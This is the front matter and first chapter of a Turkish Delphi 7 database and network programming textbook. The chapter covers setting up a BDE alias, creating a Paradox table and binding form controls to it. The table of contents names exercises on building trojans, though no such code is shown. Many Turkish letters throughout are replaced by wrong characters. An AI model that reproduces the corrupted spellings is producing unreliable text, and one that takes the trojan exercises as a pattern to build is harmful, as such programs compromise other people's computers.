Untitled
Transkript
Untitled
II ZøRVEDEKø BEYøNLER Yüksel øNAN Nihat DEMøRLø Yayınları Kitap Yazarları Nihat DEMøRLø MCP-MCSE-MCDBA-MCSD-MCAD [email protected] M. Yüksel øNAN MCP-MCP+INT-MCSA-MCSE-MCDBA-MCSD-MCT-MCAD [email protected] Teknik Editör Sibel YANAR MCP-MCSE ISBN: 975-92267-4-X Prestie Education Center Merkez Halita÷a Cd. Kıvanç Sok. No: 1/5 Kadıköy/øSTANBUL Tel: 0216. 330 06 50 (pbx) 0216. 449 54 78 0216. 345 71 75 Fax: 0216. 345 71 75 ùube Gazi Üniversitesi Mühendislik-Mimarlık Fakültesi Maltepe / ANKARA Tel: 0312. 231 74 00 / 1031 (Dahili) mail: [email protected] web: www.prestigeturk.com Yayına Hazırlayan – Kapak Selman Ali METøN Baskı Ümit Ofset Matbaacılık Büyük Sanayi 1. Cad. 107/32-39-40-54 øskitler / ANKARA Tel: 0312. 384 26 27 – 384 17 07 Ankara, 2003 Kitabın tüm hakları Prestij Biliúim E÷itim-Ö÷retim Turizm Hiz. Tic. Ltd. ùti.’ne aittir. øzinsiz olarak kısmen veya tamamen kullanılması, kopyalanması ve ço÷altılması yasaktır. IV ÖNSÖZ Zirvedeki Beyinler serisine ait altıncı kitabımızla karúınızdayız. ølgi, alaka, be÷eni ve eleútirileriniz için teúekkürlerimizi sunmayı bir borç bilmekteyiz. Serimizde yer alan Delphi kitaplarının ikincisini okumaktasınız. Veri Tabanı ve Network hususunda kullanılabilecek geliúmiú kodlara yer vermeye, zorlandı÷ınız hususlarda sizleri bilgilendirmeye çalıútık. Gönderdi÷iniz e-mailler bizlere ataca÷ımız adımlar konususnda fazlasıyla yardımcı olmaktadır, bu yüzden aynı ilgi ve alaka ile isteklerinizi bizlere bildirme alıúkanlı÷ınızın devam etmesini istiyoruz. Serimizin bir sonraki kitabı “Windows 2003 Server” olacaktır. Her ne kadar yazılım ile ilgili olmasa da network hususunda derinlemesine bilgi edinmenizi sa÷layaca÷ına inanıyoruz. Bütün Hayallerinizin Gerçe÷e Dönüúmesi Dile÷iyle................ Sibel YANAR Teknik Editör VI TEùEKKÜR Üniversitemize ba÷lı olarak çalıúan Prestige firmasının üniversitemiz bünyesinde ö÷rencilerimize ve akademik personelimize sa÷ladı÷ı e÷itim olanakları ve yaptı÷ı çalıúmalar için Sayın Nihat DEMøRLø ve Yüksel øNAN’a teúekkür ederim. Prof. Dr. Hüsnü CAN G.Ü. Müh.-Mim. Fak. DEKANI TEùEKKÜR Bakım-onarım iúlerimizin bilgisayar ortamında dosyalama ve takibi ile ilgili program çalıúmasına yaptı÷ı yardım için Sayın Nihat DEMøRLø ve Yüksel øNAN’a teúekkür ederim. T. KARLIDAö Migros Türk T.A.ù. ønú. Emlak Müd. IX TEùEKKÜR Bankamız Güvenlik Sistemleri ve Kredi Kartı Uygulama çalıúmalarına yönelik yazılım+danıúmanlık hizmetlerinden dolayı Nihat DEMøRLø ve Yüksel øNAN’a teúekkür ederiz. Burak AKTAù INTERBANK ønú. Emlak Md. XII øÇøNDEKøLER BÖLÜM 1 BDE UYGULAMALARI...................................................................................... 1 Veri Tabanı Uygulamaları ......................................................................... 3 BDE Kontrolleri .......................................................................................... 4 Table Kontrolü .................................................................................. 4 Query Kontrolü ................................................................................. 4 StoredProc Kontrolü ........................................................................ 4 Database Kontrolü ............................................................................ 5 Paradox Tablolarına Ba÷lantı.................................................................... 5 Alias Tanımlamak ....................................................................................... 5 Paradox’ta Tablo Oluúturmak................................................................... 7 Tablo Yapısında De÷iúiklik Yapmak ........................................................ 9 DataBase Destop’ı Kullanarak Tabloya Kayıt Girmek .......................... 9 Uygulamanızdan Paradox Tablolarına Ba÷lanmak ................................ 10 Resimli veya CheckBox øçeren Tablo Sütunlarıyla Ba÷lantı ................. 11 Wizard Kullanarak Veri Tabanına Ba÷lanmak ...................................... 11 DBNavigator Kontrolü ..................................................................... 15 DBNavigator Kontrolü øçin Tıklanan Dü÷meye Kod Yazmak .... 17 Kayıtları DataGrid Nesnesinde Göstermek.............................................. 19 Kayıt øúlemlerini Kodla Yapmak .............................................................. 20 Ba÷lantı øúlemlerinin Kodla Yapmak ....................................................... 22 Veri Tabanında Olmayan Sütunlar Yaratmak........................................ 30 Yaratılan Sütun De÷erlerini Tablonuzda Hesaplatmak ......................... 33 DataGrid Kontrolüne Ait Özellikler ......................................................... 34 DataGrid Kontrolüne Ait Sütun Baúlıklarını Belirlemek............. 35 DataGrid Sütun Baúlıklarının Ortalanması................................... 36 DataGrid Sütun Geniúliklerini Ayarlamak .................................... 37 DataGrid Sütunlarını ReadOnly Yapmak ..................................... 37 DataGrid Sutununu ComboBox ùeklinde Kullanmak.................. 37 DataGrid Kontrolüne Ait Sütun Baúlıklarını Renklendirmek..... 38 DataGrid Sütunlarını Renklendirmek............................................ 38 DataGrid Font Ayarları ................................................................... 38 DataGrid Kontrolünde øúe Yaramayan Sütunları Gizlemek ....... 39 DataGrid Kontrolünde Sütun Baúlıklarını Gizlemek ................... 40 Aktif Kayıttaki Satır ve Sütun De÷erlerine Ulaúmak.................... 41 DataGrid Nesnesindeki Toplam Satır Sayısını Hesaplamak........ 41 DataGrid Nesnesi øçerisinde Sutuna Ait øúlem Yaptırmak .......... 42 DataGrid Nesnesine Ait Yordamlar................................................ 43 Kayıt Filtreleme øúlemleri .......................................................................... 46 Filtrelenmiú Kayıtlar Arasında Gezinmek ............................................... 49 Filtreli Kayıtlarda Bir Sonrakini Git ........................................................ 49 Filtreli Kayıtlarda Bir Öncekine Git......................................................... 50 Filtreli Kayıtlarda ølk Kayda Git .............................................................. 50 Filtreli Kayıtlarda Son Kayda Git............................................................. 50 Tarih Aralı÷ına Göre Filtre Uygulamak................................................... 50 Secondary Index Tanımlamak................................................................... 50 Parasal Aralı÷a Göre Filtre Uygulamak................................................... 53 Kayıt Arama øúlemleri ................................................................................ 56 Locate Methodu ................................................................................ 56 Birden Fazla Sütuna Göre Arama Yaptırmak .............................. 58 SetKey-GotoKey Methodları ........................................................... 59 SetKey-GotoNearest Methodları ..................................................... 60 Lookup Methodu............................................................................... 61 Transaction øúlemi....................................................................................... 63 Database Kontrolü ............................................................................ 63 Query Kontrolü ................................................................................. 69 Query Kontrolüne Ait Yordamlar .................................................. 72 Wizard Kullanarak Query Kontrolüyle Tabloya Ba÷lanmak ..... 74 BÖLÜM 2 STANDART SQL KOMUTLARI ....................................................................... 75 SQL Komutları............................................................................................ 77 Tüm Kayıtları Listelemek ................................................................ 77 Sadece østenilen Sütunları Listelemek ............................................ 78 Yeni Sütun Baúlıkları Belirlemek.................................................... 79 Yeni Sütun Eklemek ......................................................................... 79 Sıralama Yapmak (Order By) ......................................................... 80 Aynı Kaydı Birkere Listelemek(Distinct) ....................................... 82 Matematiksel Sorgu Komutları ................................................................. 83 Sütundaki En Yüksek De÷eri Hesaplamak(Max).......................... 83 Sütundaki En Küçük De÷eri Bulmak(Min) ................................... 84 Sütun Toplamını Bulmak(Sum) ...................................................... 85 Sütun Ortalamasını Hesaplatmak(Avg) ......................................... 86 Kayıt Sayısını Bulmak(Count)......................................................... 86 Gruplandırma Yapmak(Group By) ................................................ 87 Gruplandırılmıú Sütunlara Koúul Koymak(Having) .................... 88 Sorguya Koúul Koymak(Where) ..................................................... 89 Aynı Anda Birden Fazla Koúulu Sa÷lamak(In) ............................. 90 Aynı Anda Birden Fazla ùartın Sa÷lanmaması(Not In) ............... 91 ùartlardan Sadece Bir Tanesinin Yeterli Olması(Or)................... 92 Aralık Sorgulamak(Between) .......................................................... 93 øç øçe Select øfadesi Kullanmak ....................................................... 94 XIV Sütun øçerisinde Arama Yapmak(Like) ......................................... 95 øki Tabloyu Aynı Anda Sorgulamak ......................................................... 97 Inner Join Komutu øle Koúul Koymak ........................................... 98 Outer Join Komutu øle Koúul Koymak .......................................... 99 Union Komutunu Kullanarak Tabloları Birleútirmek.................. 101 Tablo Yapısında De÷iúiklik Yapan Sorgular............................................ 102 UpdateSQL Kontrolü ....................................................................... 102 Sorguyla Kayıt Silmek(Delete) ........................................................ 103 Sorguyla Tabloya Kayıt Eklemek ................................................... 106 Query Kontrolüne Parametre De÷eri Göndermek.................................. 112 Parametre Olarak Tarih øçerikli De÷iúken Kullanmak................ 115 Parametre Olarak Parasal øçerikli De÷iúken Kullanmak............. 116 Birden Fazla Parametre De÷eri Göndermek ................................. 117 Opsiyonel Parametreli Sorgu Oluúturmak..................................... 118 Parametreyi “Like” Komutuyla Beraber Kullanmak .................. 120 BÖLÜM 3 TABLOLAR ARASI øLøùKøLENDøRME ......................................................... 121 Birden Fazla Tablo øle Çalıúmak............................................................... 123 Master Detail Form Yapısını Manuel Oluúturmak ................................. 127 Master-Detail Tablolarda Kayıt Arama øúlemleri ................................... 128 Lookup øúlemleri ......................................................................................... 130 DBLookupComboBox Kontrolü...................................................... 130 DBLookupListBox Kontrolü ........................................................... 134 Tabloda Lookup Sütunları Yaratmak ............................................ 136 BÖLÜM 4 GARAFøK ÇøZDøRMEK ..................................................................................... 141 Tablo Kayıtlarını Grafikte Göstermek ..................................................... 143 Birden Fazla Seri øçeren Grafik Oluúturmak .......................................... 149 Grafi÷i Yazdırmak ...................................................................................... 151 Data Modul Yapısı ...................................................................................... 152 DataModule Kullanarak Tablolara Ba÷lanmak............................ 153 Data Module øçerisinde Parametre Oluúturmak ........................... 155 DataSource Kontrolü .................................................................................. 157 Kodla Tablo Oluúturmak ........................................................................... 162 BÖLÜM 5 RAPOR DOSYASI OLUùTURMAK.................................................................. 167 Rapor Dosyaları Oluúturmak .................................................................... 169 QuickRep Kontrolü .......................................................................... 170 QRSubDetail Kontrolü..................................................................... 170 QRBand Kontrolü............................................................................. 170 XV QRGroup Kontrolü .......................................................................... 170 QRLabel Kontrolü ............................................................................ 170 QRDBText Kontrolü ........................................................................ 170 QRExpr Kontrolü ............................................................................. 170 QRSysData Kontrpolü...................................................................... 170 QRMemo Kontrolü........................................................................... 170 QRRichText Kontrolü ...................................................................... 171 QRShape Kontrolü ........................................................................... 171 QRImage Kontrolü ........................................................................... 171 QRDBImage Kontrolü...................................................................... 171 Gruplandırılmıú Rapor Dosyası Oluúturmak........................................... 176 Rapor Dosyasına Uygulamanızdan Eriúmek............................................ 183 BÖLÜM 6 DECISION CUBE ILE ÖZET TABLO GÖRÜNTÜLERø OLUùTURMAK.................................................................................................... 185 Decision Cube Kontrolleri.......................................................................... 187 Tablo Kayıtlarını Özet Tablo Olarak Listelemek.................................... 187 Tablo Kayıtlarını Grafik ùeklinde Göstermek ........................................ 188 DecisionPivot Kontrolü Kullanarak Senaryo Oluúturmak..................... 190 BÖLÜM 7 ADO KONTROLLERø......................................................................................... 195 ADO Kontrolleri.......................................................................................... 197 Adoconnection Kontrolü .................................................................. 197 ADOTable Kontrolü ......................................................................... 200 Microsoft Access Veri Tabanına Ba÷lanmak ........................................... 200 SQL Server øle Çalıúmak............................................................................ 201 Adoconnection Kontrolünü Kullanarak SQL Server’a Ba÷lanmak...... 202 ADOQuery Kontrolü ........................................................................ 205 ADOQuery Kontrolüne Programdan Parametre Göndermek .... 206 ADOStoredProc Kontrolü................................................................ 207 SQL Server’da Stored Procedure Oluúturmak........................................ 207 Delphi øçerisinden Stored Procedur’lere Ulaúmak.................................. 209 Parametre øçeren Stored Procedure Oluúturmak ................................... 211 Programdan Stored Procedur’e Parametre De÷eri Göndermek ........... 211 øleri Düzey Stored Procedur Uygulamaları.............................................. 213 Stored Procedur Kullanarak Kayıtları De÷iútirmek..................... 213 Stored Procedur Kullanarak Kayıt Silmek .................................... 215 Stored Procedure øle Hesaplanan De÷erleri De÷iúkenlere Aktarmak........................................................................................... 217 Stored Procedure Fonksiyonları................................................................ 219 String Fonksiyonları ......................................................................... 219 XVI Matematiksel Fonksiyonlar ............................................................. 219 Tarih-Zaman Fonksiyonları ............................................................ 219 ADODataSet Kontrolü ............................................................................... 220 ADODataSet Kontrolü øle Kayıt øúlemleri ..................................... 223 ADODataSet Kullanarak Kayıtları Filtrelemek............................ 225 ADODataSet Kullanarak Kayıt Arama øúlemleri ......................... 225 ADODataSet1.Locate Methodu............................................. 226 ADODataSet Kontrolü Kullanarak Master/Detail Form Oluúturmak.............................................................................. 227 ADODataSet Kontrolüne Uygulanabilecek Kilitler ...................... 231 ADODataSet Kontrolü øle Kayıt Eklemek ..................................... 231 ADODataSet Kontrolü øle Aktif Kaydı Silmek.............................. 231 ADODataSet ve Transaction............................................................ 231 BÖLÜM 8 XML DOSYALARI OLUùTURMAK ................................................................ 235 ClientDataSet Kontrolü .............................................................................. 237 ClientDataSet Kontrolü øçerisindeki Kayıtları Xml Uzantılı Kaydetmek ................................................................................................... 240 BÖLÜM 9 INTERBASE KONTROLLERI .......................................................................... 243 INTERBASE Veri Tabanı øúlemleri.......................................................... 245 InterBase Kullanarak Veri Tabanı Oluúturmak ..................................... 245 InterBase Veri Tabanı øçerisinde Tablo Yaratmak................................. 248 InterBase øçerisinden Tabloya Kayıt Girmek.......................................... 250 Delphi Projesinden Yarattı÷ınız Tabloya Ba÷lanmak ............................ 250 InterBase Veri Tabanında Geliúmiú Tablolar Yaratmak ....................... 252 InterBase Kontrolleri.................................................................................. 254 IBDataBase Kontrolü ....................................................................... 254 IBTransaction Kontrolü................................................................... 255 IBTable Kontrolü.............................................................................. 255 InterBase Kontrolleri øle Kayıt øúlemleri ................................................. 256 IBQuery Kontrolü............................................................................. 261 InterBase Tablolarını Parametre øle Sorgulamak................................... 262 InterBase Kontrolleri Kullanarak Master Detail Form Oluúturmak.... 264 BDE Kontrolleriyle InterBase Veri Tabanına Ba÷lanmak..................... 266 SYSDBA Kullanıcısına Ait ùifreyi De÷iútirmek ...................................... 267 Yeni Kullanıcılar Tanımlamak .................................................................. 269 BÖLÜM 10 RAVE KONTROLLERø øLE RAPOR DOSYASI OLUùTURMAK .............. 271 Rave Kontrollerini Kullanarak Rapor Oluúturmak................................ 273 XVII Programdan Rapor Dosyalarına Ulaúmak ............................................... 278 Sütun De÷erleri øle Hesap Yapmak........................................................... 280 Hesaplanan Sütunlara Ait Biçimlendirme øúlemleri ............................... 281 Calc Text Component Kontrolü ile Yapılabilecek Di÷er Hesaplamalar .................................................................................... 282 Kayıtları Altı Çizili Hale Getirmek ........................................................... 282 Koúula Uyan Kayıtların Raporunu Oluúturmak ..................................... 283 BÖLÜM 11 NETWORK PROGRAMCILIöI ........................................................................ 287 Network Programcılı÷ına Giriú ................................................................. 289 TCP/IP Protocollerine Genel Bir Bakıú .................................................... 290 Internet Kontrolleri .................................................................................... 297 WebBrowser Kontrolü................................................................................ 297 Uygulama 1: WebBrowser Örne÷i .................................................. 300 Uygulama 2:Sakıncalı Sayfalar øçin WebBrowser Örne÷i ........... 302 TcpServer Kontrolü .................................................................................... 305 TcpClient Kontrolü..................................................................................... 308 Uygulama 3:Di÷er Bilgisayardaki Tabloyu Sorgulamak.............. 310 DataSetTableProducer Kontrolü............................................................... 314 Uygulama 4:Tabloları Web Sayfasında Görüntülemek................ 315 BÖLÜM 12 INDY KONTROLLERø ....................................................................................... 319 Indy Kontrolleri .......................................................................................... 321 IdSMTP Kontrolü............................................................................. 321 IdMessage Kontrolü.......................................................................... 324 Uygulama 5:E-Mail Göndermek ........................................... 326 IdPOP3 Kontrolü .............................................................................. 329 IdMessage Kontrolünün e-mail Alırken Kullanabilece÷iniz Methodları ......................................................................................... 331 Uygulama 6:E-Mail Almak.................................................... 333 IdAntiFreeze Kontrolü ..................................................................... 339 IdTCPServer Kontrolü..................................................................... 340 IdTCPClient Kontrolü...................................................................... 344 Uygulama 7:Chat Uygulaması............................................... 346 Uygulama 8:Dosya Transferi................................................. 350 IdFTP Kontrolü ................................................................................ 353 Uygulama 9:Ftp Sitelerinden Dosya øndirmek .................... 359 IdEncoderMIME Kontrolü.............................................................. 364 IdDecoderMIME Kontrolü .............................................................. 365 Uygulama 9:Dosyalara Encript-Decript øúlemleri Uygulamak............................................................................... 366 XVIII Uygulama 10:Stream Tip De÷iúkenlerle Encript-Decript øúlemleri ................................................................................... 370 IdIPWatch Kontrolü......................................................................... 372 IdNetworkCalculator Kontrolü....................................................... 374 Uygulama 11:IP Numaralandırma ....................................... 376 Uygulama 12:Ba÷lanan Bilgisayarın IP Aralı÷ı .................. 378 Uygulama 13:ølk Trojan......................................................... 381 Uygulama 14:Daha Geliúmiú Bir Trojan .............................. 389 Uygulama 15:Network Uygulamalarında Veri Tabanı Kullanmak ............................................................................... 395 BÖLÜM 13 SETUP PROJESø OLUùTURMAK.................................................................... 401 Setup Projesi Oluúturmak .......................................................................... 403 Setup Projesinin Di÷er Bilgisayarlara Yüklenmesi ................................. 411 XIX SON SÖZ Serimizin altıncı kitabını da tamamlamıú bulunuyoruz. Di÷er kitaplarımıza göstermiú oldu÷unuz ilgiyi aynen devam ettirmeniz en büyük temennimiz olacaktır. Kitaplarımız hkkındaki tüm eleútiri ve önerilerinizi [email protected] adresine gönderebilir, karúılaútı÷ınız problemler için bu adresten çözüm isteyebilirsiniz. TCP/IP Protokolü hususunda bilgisinden faydalandı÷ımız Osman ÇALIù’a teúekkürü bir borç bilmekteyiz. XX BÖLÜM 1 BDE UYGULAMALARI 2 Veri Tabanı Uygulamaları: Geliútirece÷iniz uygulamaların neredeyse tamamında kullanaca÷ınız, bilgilerinizi yazdırabilece÷iniz (daha sonra tekrar ulaúabilmek için) programlara ihtiyacınız olacak, dolayısıyla veritabanı deste÷i her zaman karúılaúaca÷ınız vazgeçilmez bir konu olmaktadır. Profesyonel uygulamalarınızda günlük düzenli olarak rapor tutmanız gerekecektir. Bu yüzden bu verileri daha sonra kullanmak amaçlı bilgisayarınızda saklamalısınız. Bilgisayara veri saklama iúlemlerini düzenli bir tablo yapısına sahip olan veritabanı programlarıyla gerçekleútirmekteyiz. Daha sonra Delphi ile bu veritabanı uygulamalarına ba÷lanıp gerekli bilgilere ulaúabilmekteyiz. ùunu unutmayın bilgilerin tutuldu÷u yer Delphi de÷ildir. Bilgiler veritabanı programlarına kaydedilir (Paradox,Dbase,Access,SQùL Server vs). Delphi de size sa÷ladı÷ı imkanla bu veri tabanı bilgilerini istedi÷iniz gibi kullanmanızı sa÷lar. Biz uygulamalarımızda Delphi’nin en verimli kullanabildi÷i “Paradox” tablolarından faydalanaca÷ız. ùayet çok büyük network uygulamaları oluúturacaksanız SQL Server veya Oracle kullanmalısınız. Delphi7’de Veitabanı ba÷lantılarını gerçekleútirmek için “Component Palet” araç çubu÷unda bulunan “BDE” Yapra÷ını kullanır. Bu yapraktaki kontroller sayesinde kolayca veri tabanlarına ba÷lanabilmektedir. Yine “Component Palet” yapra÷ında bulunan “Data Controls” kontrolleriyle de tabloları yönetmek için kullanıcıya gerekecek olan ara yüz oluúturma seçenekleri sunulmaktadır. 3 BDE Kontrolleri: Veritabanı ba÷lantı iúlemlerini gerçekleútiren kontroller bu yaprakta bulunur. Direk veritabanıyla çalıúmak bir çok durumda (bilhassa network ortamında binlerce kiúinin aynı tabloya bilgi girdi÷ini düúünürseniz) performans açısından sakınca yaratmaktadır. Bu yüzden performansı en üst düzeyde tutmak için bilgi giriúleri tüm kullanıcıların local mekinelerinde yapılır, müsait bir zaman da da servera gönderilir. Do÷rusunu isterseniz bu sistem online gönderimler dıúında çok etkili olmuútur. Tüm dillerin kullandı÷ı yapıda budur. ùimdi sizlere bu çalıúma imkanlarını oluúturan “BDE” kontrollerine bir göz atalım. x Table Kontrolü: Bu kontrol sayesinde veritabanında bulunan tablo ile direk ba÷lantı kurulur. Lokal bilgisayarda ana tablonun bire bir bir kopyası oluúturularak yapılan de÷iúiklikler bu kontrole yazılırlar. Daha sonra müsait bir zamanda tüm de÷iúiklikler veri tabanı tablosuna tekrar yazdırılır. Ben bu kontrolle veritabanına ba÷lanmanızı (zorunlu kalmadı÷ınız sürece) , bilhassa çok fazla satır içeren tablolarda tavsiye etmiyorum. Ama ba÷lantı mantı÷ını anlamanız açısından kesinlikle çok iyi bilinmesi gerekti÷ini düúünüyorum. x Query Kontrolü: Veri Tabanı tablolarınızı sorgulayarak local makinenize indiren kontroldür. Bu tür ba÷lantıda tablonuzdaki tüm satırlara (isterseniz tüm tabloyuda alabilirsiniz) de÷il sizi ilgilendiren satırlara ulaúmak için kullanılır. “StoredProc” kontrolünden sonra ba÷lantı iúlemleri için en çok kullanaca÷ınız kontrol oldu÷unu belirtmek isterim. Bu kontrolle Table kontrolünün yaptı÷ı gibi hiç bir kriter koymadan tüm tablo bilgilerine de kolayca ulaúabilirsiniz. x StoredProc Kontrolü: Veri Tabanı tablolarına en hızlı ve etkili ba÷lantı sa÷layan “BDE” kontrolüdür. Bu kontrolle yapılan ba÷lantıdaki amaç, trafi÷i azaltmak için servera sadece parametre göndererek tekrar tekrar tabloların sorgulanmamasını sa÷lamaktır. “Stored procedur’ler çalıútırıldıkları andan kapatılana kadar sadece bir kere derlenirler, bu da “Query” kontrolüne göre ilk çalıútırılmadan sonra çok daha hızlı sonuç vermesini sa÷lamaktadır. ølerleyen bölümlerde (bilhassa büyük uygulamalar için) kontrole ait bir çok örneklendirmeler yapılacaktır. Lütfen hiç bir ayrıntıyı kaçırmadan tamamını anlamaya çalıúınız. Göreceksiniz bir süre sonra herúeyi otomatik olarak halledebilme seviyesine ulaúacaksınız. 4 x Database Kontrolü: Bilhassa Trasaction iúlemlerinde kullanılan ve yapılan tüm de÷iúiklikleri kaydedebilece÷iniz bir kontroldür. Bu kontrollerden projenize ne kadar çok eklerseniz programınızın o kadar performans kaybedece÷ini unutmayınız. Yukarıda bahsedilen tüm kontroller kullanıcıya oluúturaca÷ınız arayüz ile Veri Tabanı tabloları arasında ki ba÷lantıyı oluúturmak içindir. Arayüz kontrollerinde yapaca÷ınız de÷iúiklikler öncelikle bu nesnelerde etkili olacaktır. Daha sonra istenildi÷i vakit ana tabloya da yansımaları sa÷lanacaktır. Paradox Tablolarına Ba÷lantı: Delphi’nin en performanslı çalıúma yaptı÷ı Veri Tabanı Paradox’tur. Bu yüzden örneklerimizi (çok büyük yazılımlar hariç en çok bu veri tabanı kullanılır) bu tablolar üzerinde yo÷unlaútıraca÷ız. Tablo oluúturmaya geçmeden önce ileride çok iúinize yarayacak (muhakkak ilk bu iúlemi yapın) olan “Alias” tanımlama iúleminden bahsetmek istiyorum. Alias Tanımlamak: Alias lar tabloların bulundu÷u adresi tutan takma adlardır. Bu yapı sayesinde her defasında tablonun adresini girmek zorunda kalmazsınız. Uygulamaya baúlamadan tablolarınızı kaydedece÷iniz klasöre takma ad (Alias) belirlerseniz. Yapaca÷ınız ba÷lantılarda tablonun yolunu de÷ilde belirlemiú oldu÷unuz bu Alias ‘ı kullanırsınız. Alias tanımlamak için aúa÷ıdaki adımları izleyin. “Start->Settings->Control Panel” seçeneklerini arka arkaya tıklayın. Karúınıza aúa÷ıdaki pencere açılacaktır. Açılan pencereden “BDE Administrator” seçene÷ine çift tıklayın. Karúınıza aúa÷ıdaki pencere açılacaktır. 5 Açılan bu pencerede “DataBase” üzerine mousun sa÷ tuúuna tıklayarak menü penceresini açın ve “New” seçene÷ine tıklayın. Aúa÷ıdaki pencere açılacaktır. Bu pencereyi “OK” Buttonuna tıklayarak geçin. Yeni Aliasınız pencerenize “STANDART” ismi ile eklenecektir. øsmini de÷iútirip (gazi), “PATH” kısmınada tablonuzu kaydedeci÷iniz klasörü girin (veya seçin) Gördü÷ünüz gibi biz tablonun kaydedilece÷i klasörü “c:\prestige” olarak belirledik. Alias ismi olarak ta “gazi” seçimini kullandık. 6 Pencereyi kapatıp, gelen uyarı penceresine de olumlu cevap verin. Alias tanımlamasını yaptıktan sonra oluúturaca÷ınız tablolara bu aliası kullanarak eriúmek istiyorsanız tablolarınızı “c:\prestige” klasörünün içerisine (çünkü bu klasör path olarak gösterildi) kaydetmelisiniz. Aksi takdirde bu alias iúinizi görmeyecektir. Paradox’ta Tablo Oluúturmak: Paradox’ta tablo oluúturmak için iki yönteminiz mevcut. Birincisi Delphi yi hiç açmadan (biz bu yolu tavsiye ediyoruz. Tablolar ile ilgili iúlemleri yaparken uygulamanızı kapatmanız oluúabilecek sorunları engelleyecektir. Bilhassa ba÷lantıdaki bir tablo tasarımını de÷iútirmenize paradox izin vermeyecektir) “Start->Programs->Borland Delphi7->DataBase Destop” adımlarını izleyin. Açılan pencereden “File->New->Table” seçeneklerini seçerek aúa÷ıdaki “Create Table” penceresinin açılmasını sa÷layın. Bu pencerede destek verilen Veri Tabanlarının isimleri bulunmaktadır. Tablonuzu hangi veri tabanında oluúturacaksanız onu seçmelisiniz. Biz “Paradox” u kullanaca÷ımız için “Paradox7” seçene÷ini seçerek “OK” Buttonuna bastık. Karúınıza aúa÷ıda gösterilen pencere açılacaktır. Bu pencerede tablonuzda yer alacak olan sütun isimlerini,sütun tiplerini,sütun uzunluklarını ve index lerinizi belirlemelisiniz. Di÷er seçenekler zaten Delphi içerisinden çok kolay halledilebilece÷i için onlarla fazla kafanızı yormanızı tavsiye etmem. Aúa÷ıda karakteristik özellikleri verilen sütunları bu pencerede oluúturunuz. Fieeld Name(Sütun øsmi) Type(Tipi) Size (Kaç Karakter) SIRANO + Otomatik artar MAGAZAADI A 25 SERVISTARIHI D GIDENFIRMA A 25 ARIZASEBEBI A 25 FATURATUTARI $ Key(Primary ind) * Tabloya dikkat edin ilk sütun kolon baúlıklarını, ikinci sütun içeri÷in tipini (Type kısmında mousun sa÷ tuúuna basarsanız tüm seçenekler listelenir), üçüncü sütun kaç karakter veri alabilece÷ini (tarih ve parasal içeriklerde paradox bu 7 de÷eri kendisi belirler), son sütun ise tablonuzdaki Primary index i belirler. “*” koydu÷unuz sütun o tablo için Primary index sütunu olacaktır (dikkat edin en üstteki sütunu primary belirleyebilirsini).ùimdi “Save As” buttonuna tıklayarak tablonuzu “gazi” Aliasının gösterdi÷i klasörün (“c:\prestige”) içerisine “SERVIS” ismiyle kaydedin. “Save As” buttonuna tıkladıktan sonra açılan yukarıdaki pencerede yer alan “Alias” kısmından “gazi” yi seçmeniz “c:\prestige” klasörünü aktif yapmaya yetecektir. øsmini (SERVIS) yazıp kaydedebilirsiniz. 8 Tablo Yapısında De÷iúiklik Yapmak: ùimdi sizlere ikinci yöntemle (bu yöntemle tabloda oluúturabilirsiniz) tablo yapısında nasıl de÷iúiklik yapabilece÷inizi göstermek istiyorum (siz hep birinci yolu takip edin). “Tools->DataBase Destop” adımlarından sonra aynı pencere açılacaktır. Açılan bu pencerede “File->Open->Table” seçeneklerini seçip, dosya aç penceresinin açılmasını sa÷layın. Daha önceden kaydetti÷iniz tablonuzu (“Alias isminden hemen bulabilirsiniz) seçip “Open” dü÷mesine basın. Ardından “Table->Restructure” seçeneklerini seçerek tablonuzu oluúturdu÷unuz pencereye dönebilirsiniz. Burada tablo yapınız için gerekli de÷iúiklikleri yapabilirsiniz. Uyarı:Tablonuzu baúlangıçta düzgün tasarlamaya önem gösteriniz.Daha sonra yapmak isteyece÷iniz fazla radikal de÷iúiklere “Paradox” izin vermeyebilir, tablonuzu tekrar oluúturmak zorunda kalabilirsiniz. DataBase Destop’ı Kullanarak Tabloya Kayıt Girmek: Bu yöntemi fazla kullanmayacaksınız ama örnekleri hızlı denemek için bilmekte fayda var. DataBase Desktop’ı açtıktan sonra “File->Open” seçenekleri ile tablonuzu açın. “Table->Edit Data” adımlarını izleyin, tablonuza bu aúamadan sonra kolayca kayıt girebilirsiniz. ùimdilik yukarıdaki kayıtları “Edit Data” komutunu vererek “Paradox” Veri Tabanı içerisinden giriniz. Bu aúamadan sonra Delphi’den “BDE” kontrollerini kullanarak bu tabloya ba÷lantı sa÷layaca÷ız. Girdi÷imiz kayıtlardaki amaç ba÷lantının do÷ru olarak kurulup kurulmadı÷ı içindir. Yoksa kullanıcı az önceki ekrandan asla kayıt girmeyecektir. 9 Uygulamanızdan Paradox Tablolarına Ba÷lanmak: Programınız içerisinden Paradox veri tabanına aúa÷ıdaki adımları izleyerek kolayca ba÷lanabilirsiniz. Birinci adımda formunuzun üzerine “BDE” Yapra÷ında bulunan “Table” nesnesinden bir adet yerleútirin. “Table” kontrolünün “DataBaseName” özelli÷ine tablonuzun içerisinde bulundu÷u klasörü referans gösteren “Alias” ınızın (bizim örne÷imizde “gazi”) ismini aktarın. Üçüncü adımda yine “Table” nesnesini seçerek “Object Inspector” penceresinden “Table Name” özelli÷ine paradox ta oluúturdu÷unuz tablonuzun ismini girin (veya seçin). Bizim örne÷imizde “SERVIS” tablosu olacaktır. Dördüncü adımda aúa÷ıdaki form tasarımını oluúturup, altı (6) adet Label kontrolü ile yine altı (6) adet “DataControls” yapra÷ında yer alan “DBEdit” kontrolü yerleútiriniz. Yerleútirdi÷iniz kontroller ile “Table” nesnesi arasındaki ba÷lantıyı sa÷lamak için formunuza bir adet “DataAccess” yapra÷ında yer alan “DataSource” kontrolü yerleútirin. “DataSource” kontrolünü seçip “Object Inspector” pencersinden “DataSet” özelli÷ine eklemiú oldu÷unuz “Table” kontrolünüzün ismini aktarın. ùayet de÷iútirmediyseniz “Table1” olarak açılan pencerede gözükecektir. Bu adımda “Table” nesnenizin “Active” özelli÷ine “true” de÷erini aktarın ve aúa÷ıdaki “DBEdit” kontrolü ayarlarına geçin. 10 “DBEdit1” kontrolünüzü seçip “Object Inspector” penceresinden “DataSource” özelli÷ine formunuza eklemiú oldu÷unuz “DataSource” nesnenizin ismini aktarın (veya seçin). ùayet ismini de÷iútirmediyseniz “DataSource1” olarak gözükecektir. Yine “Object Inspector” penceresinden “DataField” özelli÷i için seçmiú oldu÷unuz tabloya ait uygun sütunu seçin (tüm sütun isimleri bu özellikte gözükecektir). Bizim örne÷imizde 